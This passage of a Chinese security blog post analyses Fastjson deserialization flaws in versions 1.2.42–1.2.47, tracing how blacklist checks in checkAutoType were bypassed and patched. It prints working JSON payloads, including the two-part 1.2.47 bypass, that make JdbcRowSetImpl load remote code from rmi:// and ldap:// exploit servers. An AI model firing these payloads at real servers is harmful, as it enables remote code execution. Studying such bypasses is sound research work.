,这里就好像使用黑名单预防SQL注入,只删除了一次敏感词汇的防御错误一样,重复一下就可以被轻易的绕过。所以payload如下:
//1.2.42绕过 jndi ldap
{"被屏蔽的type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.42绕过 7u21
同样加上LL ;;,payload太长了且不唯一,就不写了
在1.2.43中对于1.2.42版本可绕过的情况进行了修复。
修改了com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
的部分代码
//hash计算基础参数 long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; //L开头,;结尾 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { //LL开头 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { //直接爆出异常 throw new JSONException("autoType is not support. " + typeName); } className = className.substring(1, className.length() - 1); }
可见就对了LL开头的绕过进行了封堵。
至此我们之前的两个利用链JdbcRowSetImpl和TemplatesImpl正式被封堵了(暂时)。在服务端放开白名单限制的情况下也绕不过黑名单。更别说服务端默认是开启白名单的,这时候fastjson的风险已经很小了。
之后就是不断有新的组件作为利用链引入进行攻击,和黑名单的不断扩充之间的拉锯战。(之前也说过着一切都是在显性关闭白名单的情况下)
1.2.44补充了loadclass时[
的利用情况,上面说到过,实际上这种形式的payload是用不了的。
比如FastjsonExpliot框架中的{"被屏蔽的type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}
但是在1.2.44中仍然对于这类类名进行了限制,使用同样的payload进行测试。
1.2.45添加了黑名单,封堵了一些可以绕过黑名单的payload,比如:
//需要有第三方组件ibatis-core 3:0
{"被屏蔽的type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
黑名单封堵呢,其实是一个动态的过程,会有很多新增的jar包,如果服务端引入了这些额外的jar包,就会引入一条可利用链,,或者jdk又被发掘出了新增的链等等都会导致黑名单可被绕过。当然在1.2.25之后这都是要在显性白名单的情况下,才有的问题。
之后更新的版本比如1.2.46也都在补充黑名单
但是在1.2.47时,一个全新的payload就没有这种限制,通杀。
我们在分析1.2.47时,将从一个挖掘0day的角度去一步步分析,企图复现这个漏洞的挖掘过程,不然正向看,不得劲。payload在最后给出。
我们重新来理一下com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
这个阻挠我们的方法,上面我们提到过白名单开关时我们走的是不一样的路线,还在注释中提到会有一些固定类型的判断,这就是通杀payload的关键。
我们接下来看的是1.2.47版本的包,我们看总结后的代码结构:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { //1.typeName为null的情况,略 //2.typeName太长或太短的情况,略 //3.替换typeName中$为.,略 //4.使用hash的方式去判断[开头,或L开头;结尾,直接报错 //这里经过几版的修改,有点不一样了,但是绕不过,也略 //5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的 //(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机) if (autoTypeSupport || expectClass != null) { long hash = h3; for (int i = 3; i < className.length(); ++i) { hash ^= className.charAt(i); hash *= PRIME; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); if (clazz != null) { return clazz; } } //要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键 if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } } //6.从一个Mapping中获取这个类名的类,我们之后看 if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } //7.从反序列化器中获取这个类名的类,我们也之后看 if (clazz == null) { clazz = deserializers.findClass(typeName); } //8.如果在6,7中找到了clazz,这里直接return出去,不继续了 if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } //无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去 return clazz; } // 9. 针对默认白名单开启情况的处理,这里 if (!autoTypeSupport) { long hash = h3; for (int i = 3; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; //碰到黑名单就死 if (Arrays.binarySearch(denyHashCodes, hash) >= 0) { throw new JSONException("autoType is not support. " + typeName); } //满足白名单可以活,但是白名单默认是空的 if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } //针对expectCLass的特殊处理,没有expectCLass,不管 if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } //通过以上全部检查,就可以从这里读取clazz if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } //这里对一些特殊的class进行处理,不重要 //特性判断等 return clazz; }
仔细分析了一下,可以发现无论是白名单开启与否,我们的恶意类都要想办法必须要从第8步的return clazz
出去才有机会。
TypeUtils.getClassFromMapping(typeName) != null
(是!=)反而可以从黑名单中逃开。然后从第八步中return出去。那往之前看clazz可以从哪里赋值,5、6、7三个地方,但是5是白名单匹配才返回。这不可能。
于是开始关注6,7这两个操作到底是干啥的,(其实根据已知白名单开不开都通杀的特性,肯定是在第6步TypeUtils.getClassFromMapping
中得到的恶意类,但是这边都瞅瞅,后面也会用到)
先看desesrializers,一个hashmap
private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>();
因为我们是从中取值,关注一下它是在哪里赋值的,当前文件搜索deserializers.put
。
com.alibaba.fastjson.parser.ParserConfig#initDeserializers
:给出一部分截图
initDeserializers这个函数是在parserConfig类的构造函数中初始化时调用的,存放的是一些认为没有危害的固定常用类。理所当然不会包含我们的利用类。
除此之外还有两个类会影响到desesrializers这个map
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) //太过复杂代码省略
在这个类中会往deserializers这个mapping中放入一些特定类:java.awt.*
、java.time.*
、java.util.Optional*
、java.nio.file.Path
、Map.Entry.class
、以及在服务器META-INF/services/
目录下存放的class文件,还有枚举类的一些判断。对于一些数组,集合,map等再调用putDesserializer
(这也是另一个会影响到desesrializers这个map的类)放入deserializers这个mapping中。
在这个类中对于类名有着严格的要求和限定,不太行。看下一个。
com.alibaba.fastjson.parser.ParserConfig#putDeserializer public void putDeserializer(Type type, ObjectDeserializer deserializer) { deserializers.put(type, deserializer); }
代码极其简单,但是只在ParserConfig#getDeserializer(就是上面那个类)和initJavaBeanDeserializers
类中使用过。但是后者是一个初始化函数,我们同样不可控输入值。
那么我们好像发现我们的输入不可以改变deserializers这个mapping的值,从而自然也不能进一步在checkAutoType中被get读取出来,也就绕过不了。
这个deserializers在checkAutoType方法中存在的意义应该是直接放行一些常用的类,来提升解析速度。
那我们换一条路看看TypeUtils.getClassFromMapping(typeName)
。
先看getClassFromMapping
:
//这个map是一个hashmap private static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1); ... public static Class<?> getClassFromMapping(String className){ //很简单的一个mapping的get return mappings.get(className); }
按照套路去寻找影响这个mappings的put方法。搜索mappings.put
,在下面这两个方法中有找到:
com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)
看addBaseClassMappings
这个方法,方法内容很长,我们就不细看了,但是它是一个没有传参的方法....这样我们就没有一个可控的参数去控制其中的内容。
private static void addBaseClassMappings(){ mappings.put("byte", byte.class); mappings.put("short", short.class); mappings.put("int", int.class); mappings.put("long", long.class); //诸如此类的放入一些固定的class至mappings中 ... }
并且还只在两个没毛病的地方调用了这个方法:
前者是一个static静态代码块:
static{ addBaseClassMappings(); }
后者是一个clearClassMapping
方法:
public static void clearClassMapping(){
mappings.clear();
addBaseClassMappings();
}
没戏,不可控。
再看另一个有mappings.put的位置TypeUtils.loadClass
,我们需要详细看看这个方法:
其实这个TypeUtils.loadClass,在1.2.25-1.2.41中我们分析过一小段,其实是同一个函数!
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { //判断className是否为空,是的话直接返回null if(className == null || className.length() == 0){ return null; } //判断className是否已经存在于mappings中 Class<?> clazz = mappings.get(className); if(clazz != null){ //是的话,直接返回 return clazz; } //判断className是否是[开头,1.2.44中针对限制的东西就是这个 if(className.charAt(0) == '['){ Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } //判断className是否L开头;结尾,1.2.42,43中针对限制的就是这里,但都是在外面限制的,里面的东西没变 if(className.startsWith("L") && className.endsWith(";")){ String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } //1. 我们需要关注的mappings在这里有 try{ //输入的classLoader不为空时 if(classLoader != null){ //调用加载器去加载我们给的className clazz = classLoader.loadClass(className); //!!如果cache为true!! if (cache) { //往我们关注的mappings中写入这个className mappings.put(className, clazz); } return clazz;//返回加载出来的类 } } catch(Throwable e){ e.printStackTrace(); // skip } //2. 在这里也有,但是好像这里有关线程,比较严格。 try{ ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if(contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); //同样需要输入的cache为true,才有可能修改 if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ // skip } //3. 这里也有,限制很松 try{ //加载类 clazz = Class.forName(className); //直接放入mappings中 mappings.put(className, clazz); return clazz; } catch(Throwable e){ // skip } return clazz; }
可以发现如果可以控制输入参数,是可以往这个mappings中写入任意类名的(从而绕过autocheck的黑白名单)
看看这个类在什么地方被引用。
前三者都是在ParserConfig#autocheck
这个我们需要攻克的类中,如果能在那里调用loadClass并传入一个恶意类去加载。那就已经完成了我们的最终目的,根本不需要通过mappings这个空子去钻。
所以只需要看TypeUtils.java中的引用处。
public static Class<?> loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, true); }
cache为true,一个好消息,因为有三处修改mapping的地方,两个地方需要cache为true。
这百年可以看到在这个类中会自己引用自己的类,跳来跳去,但是也有外部的类引用当前类。这是我们主要关注的。(因为一个底层的工具类,不可能被我们直接调用到)
慢慢看,把跳出去的接口理出来
/com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName):334
这两个静态的,没搞头,就不看了。
只有上面一个跳出去MiscCodec.java#deserialze
的,我们再过去看看:
以下代码段请一大段一大段倒着回退回来看
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; //4. clazz类型等于InetSocketAddress.class的处理。 //我们需要的clazz必须为Class.class,不进入 if (clazz == InetSocketAddress.class) { ... } Object objVal; //3. 下面这段赋值objVal这个值 //此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思 if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { //当parser.resolveStatus的值为 TypeNameRedirect parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); //lexer为json串的下一处解析点的相关数据 //如果下一处的类型为string if (lexer.token() == JSONToken.LITERAL_STRING) { //判断解析的下一处的值是否为val,如果不是val,报错退出 if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } //移动lexer到下一个解析点 //举例:"val":(移动到此处->)"xxx" lexer.nextToken(); } else { throw new JSONException("syntax error"); } parser.accept(JSONToken.COLON); //此处获取下一个解析点的值"xxx"赋值到objVal objVal = parser.parse(); parser.accept(JSONToken.RBRACE); } else { //当parser.resolveStatus的值不为TypeNameRedirect //直接解析下一个解析点到objVal objVal = parser.parse(); } String strVal; //2. 可以看到strVal是由objVal赋值,继续往上看 if (objVal == null) { strVal = null; } else if (objVal instanceof String) { strVal = (String) objVal; } else { //不必进入的分支 } if (strVal == null || strVal.length() == 0) { return null; } //省略诸多对于clazz类型判定的不同分支。 //1. 可以得知,我们的clazz必须为Class.class类型 if (clazz == Class.class) { //我们由这里进来的loadCLass //strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。 return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
那么经过分析,我们可以得到的关注点又跑到parser.resolveStatus
这上面来了
当parser.resolveStatus == TypeNameRedirect
我们需要json串中有一个"val":"恶意类名",来进入if语句的true中,污染objVal,再进一步污染strVal。我们又需要clazz为class类来满足if判断条件进入loadClass。
所以一个json串的格式大概为"被屏蔽的type"="java.lang.Class","val":"恶意类名"
这样一个东西,大概如此。
当parser.resolveStatus != TypeNameRedirect
进入if判断的false中,可以直接污染objVal。再加上clazz=class类
大概需要一个json串如下:"被屏蔽的type"="java.lang.Class","恶意类名"
。
至于哪里调用了MiscCodec.java#deserialze
,查看引用处其实可以发现这是一个非常多地方会调用到的常用函数,就比如解析过程中的com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)-384行
那么在得到如上信息中,我们就不必一直大海摸虾。之前拿到了两个分支paylaod,拿一个可能的paylaod,试试水看看能不能往TypeUtils.getClassFromMapping(typeName)里面的mapping污染我们的恶意类。
{ "被屏蔽的type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }
先是日常进入解析主要函数com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
这里有我们的三个在乎的点,如下顺序:
public final Object parseObject(final Map object, Object fieldName) { ... //先是checkAutoType这个万恶的过滤函数 clazz = config.checkAutoType(typeName, null, lexer.getFeatures()); ... //ResolveStatus的赋值 this.setResolveStatus(TypeNameRedirect); //污染TypeUtils.getClassFromMapping的触发处 Object obj = deserializer.deserialze(this, clazz, fieldName); }
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
这个分析过了。
从deserializers.findClass(typeName)
出去,这是我们之前分析过的一处可以绕过白名单黑名单出去的地方,但是这里只存放一些默认类,不可污染。而我们的class.class就在这个默认类列表中,自然直接出去了。(比如class.class怎么也不会匹配到黑名单,不这里出去,也是可以下面出去的)
再是,给ResolveStatus赋值了TypeNameRedirect,这样到deserialze里面就可以确定了分支,与预计吻合。这个payload砸的没错。
可以发现进入了我们预计希望进入的com.alibaba.fastjson.serializer.MiscCodec#deserialze
,可以看到上面有复杂的if判断,这就是得到初步的思路之后砸payload的好处,如果满足条件,我们就不用费力气去想这些是为啥的,反正默认进来了,不满足我们再去看哪里不符合就行。
一切按照计划进行。
由于objVal是一个String,继续赋值给strVal
跳跳跳,我们之前由checkAutoType得到的clazz为Class.class,进入loadCLass
默认cache为true,之前分析的时候也说到cache为true对我们来说是个好消息。接下来会有三种情况可以污染我们的关键mapping。看看会进入哪一个
下一个
第二个if中,帮我们加载了一个classloader,再因为上一层的cache默认为true,就真的执行成功了mappings.put
放入了我们的恶意类名!
完美穿针引线,一环扣一环,往mappings中加入了我们的恶意类。这就是大黑阔嘛,爱了爱了。
现在回头来看这个mapping看到现在,就是放入一些已经加载过了的类,在checkAutoType中就不进行检查来提高速度。
来一个调用栈:
那么获取一个有恶意类的类似缓存机制的mapping有啥用呢。再进一步被屏蔽的type就好。
之前看到其他博客说,一开始payload是分成两截,因为服务器的mappings自从加过恶意类之后,就会一直保持,然后就可以随便打了。
但是之后为了不让负载均衡,平摊payload造成有几率失败,就变成了以下一个。
{ "a": { "被屏蔽的type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "被屏蔽的type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Exploit", "autoCommit": true } }
审计结束完美。
回顾一下进来的过程:
我们进入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
- checkAutoType方法拿到Class.class
- 设置了ResolveStatus为TypeNameRedirect,决定了之后deserialze中的if走向
- 进入deserializer.deserialze
com.alibaba.fastjson.serializer.MiscCodec#deserialze
- parser.resolveStatus为TypeNameRedirect,进入if为true走向
- 解析"val":"恶意类名",放入objVal,再传递到strVal
- 因为clazz=Class.class,进入TypeUtils.loadClass,传入strVal
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)
- 添加默认cache为true,调用loadClass
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)
- 三个改变mappings的第一处,由于classLoader=null,不进入
- 三个改变mappings的第二处,classLoader=null,进入;获取线程classLoader,由于cache为true,添加mappings。
对比代码。修改了cache这一处。(右侧为1.2.47代码)
本来应该进入一个loadClass(两个参数)的方法,然后默认cache为true,在进入三个参数的loadClass。
现在这边直接指定过来三个参数loadClass同时cache为false。
可见,在同样payload执行时,我们原来说会改变mappings的第二处就因为cache而无法改变。
但是我们还记得之前分析时有第三处不需要校验cache的mappings赋值!精神一振,这就是0day的气息么!
然后.......
这就是程序员的力量么,两行代码秒杀一切,爱了爱了,0day再见。
在这个通杀payload之后,就又恢复了一片平静的,在服务端手动配置关闭白名单情况下的黑名单与绕过黑名单的战争。这个战争估计随着代码不断迭代,也是不会停止的。
之后又出了一个影响广泛的拒绝服务漏洞,在1.2.60版本被修复。
当然这与反序列化就无关了,同时这篇文章也写得太久,太长了。也算是给2019做个结尾吧。
所以,
2020年,新年快乐。
要不 下场雪吧?
https://p0sec.net/index.php/archives/123/
https://b1ue.cn/archives/184.html
https://github.com/LeadroyaL/fastjson-blacklist
https://p0rz9.github.io/2019/06/02/Fatsjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%90%8E%E7%BB%AD/
https://github.com/vulhub/vulhub/tree/master/fastjson
http://wp.blkstone.me/2018/10/fastjson-serial-1/
https://blog.csdn.net/kingmax54212008/article/details/95641681
https://github.com/alibaba/fastjson/tree/1.2.47
https://www.freebuf.com/vuls/208339.html
https://www.freebuf.com/column/180711.html
https://github.com/jas502n/fastjson-RCE
可能还看了很多。。但是真的回头找不到了,向网上老哥们致敬 (^^ゞ